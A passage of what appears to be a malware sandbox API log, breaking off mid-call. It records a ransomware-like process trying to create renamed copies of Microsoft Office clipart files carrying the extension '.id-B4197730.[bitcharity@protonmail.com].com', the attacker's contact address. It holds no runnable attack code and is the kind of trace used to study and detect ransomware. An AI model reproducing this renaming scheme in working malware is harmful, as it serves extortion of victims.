[0257.558] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.558] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00685_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00685_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.559] CloseHandle (hObject=0x118c) returned 1 [0257.560] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.560] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00686_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00686_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.561] CloseHandle (hObject=0x118c) returned 1 [0257.562] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.562] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00693_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00693_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.563] CloseHandle (hObject=0x118c) returned 1 [0257.564] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.564] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00720_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00720_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.564] CloseHandle (hObject=0x118c) returned 1 [0257.565] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.566] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00723_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00723_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.566] CloseHandle (hObject=0x118c) returned 1 [0257.567] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.567] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00726_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00726_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.568] CloseHandle (hObject=0x118c) returned 1 [0257.568] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.569] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00737_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00737_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.569] CloseHandle (hObject=0x118c) returned 1 [0257.570] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.570] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00833_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00833_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.571] CloseHandle (hObject=0x118c) returned 1 [0257.572] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.572] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00898_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00898_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.572] CloseHandle (hObject=0x118c) returned 1 [0257.574] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.574] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00934_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00934_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.574] CloseHandle (hObject=0x118c) returned 1 [0257.576] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.576] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00998_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00998_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.577] CloseHandle (hObject=0x118c) returned 1 [0258.890] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.890] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01247U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01247u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.890] CloseHandle (hObject=0x11d0) returned 1 [0258.897] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.897] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02758U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02758u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.898] CloseHandle (hObject=0x11d0) returned 1 [0258.900] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.900] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02759J.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02759j.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.900] CloseHandle (hObject=0x11d0) returned 1 [0258.901] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.901] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02810J.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02810j.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.901] CloseHandle (hObject=0x11d0) returned 1 [0258.904] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.904] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02829J.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02829j.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.905] CloseHandle (hObject=0x11d0) returned 1 [0258.906] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.907] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02845G.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02845g.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.907] CloseHandle (hObject=0x11d0) returned 1 [0258.908] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.908] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02897J.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02897j.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.908] CloseHandle (hObject=0x11d0) returned 1 [0258.910] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.910] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03011U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03011u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.910] CloseHandle (hObject=0x11d0) returned 1 [0258.911] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.911] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03012U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03012u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.911] CloseHandle (hObject=0x11d0) returned 1 [0258.912] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.912] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03014_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03014_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.912] CloseHandle (hObject=0x11d0) returned 1 [0258.913] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.913] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03041I.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03041i.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.913] CloseHandle (hObject=0x11d0) returned 1 [0258.914] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.914] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03143I.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03143i.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.914] CloseHandle (hObject=0x11d0) returned 1 [0258.915] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.915] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03205I.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03205i.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.916] CloseHandle (hObject=0x11d0) returned 1 [0258.917] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.917] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03224I.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03224i.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.917] CloseHandle (hObject=0x11d0) returned 1 [0258.918] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.918] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03379I.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03379i.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.919] CloseHandle (hObject=0x11d0) returned 1 [0258.920] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.920] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03380I.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03380i.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.920] CloseHandle (hObject=0x11d0) returned 1 [0258.921] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.921] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03425I.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03425i.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.922] CloseHandle (hObject=0x11d0) returned 1 [0258.923] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.923] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PRRT.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\prrt.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.923] CloseHandle (hObject=0x11d0) returned 1 [0258.924] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.924] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PRRTINST.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\prrtinst.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.924] CloseHandle (hObject=0x11d0) returned 1 [0258.925] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.925] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSRETRO.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\psretro.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.925] CloseHandle (hObject=0x11d0) returned 1 [0258.926] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.926] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PSSKETLG.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pssketlg.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.926] CloseHandle (hObject=0x11d0) returned 1 [0259.156] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 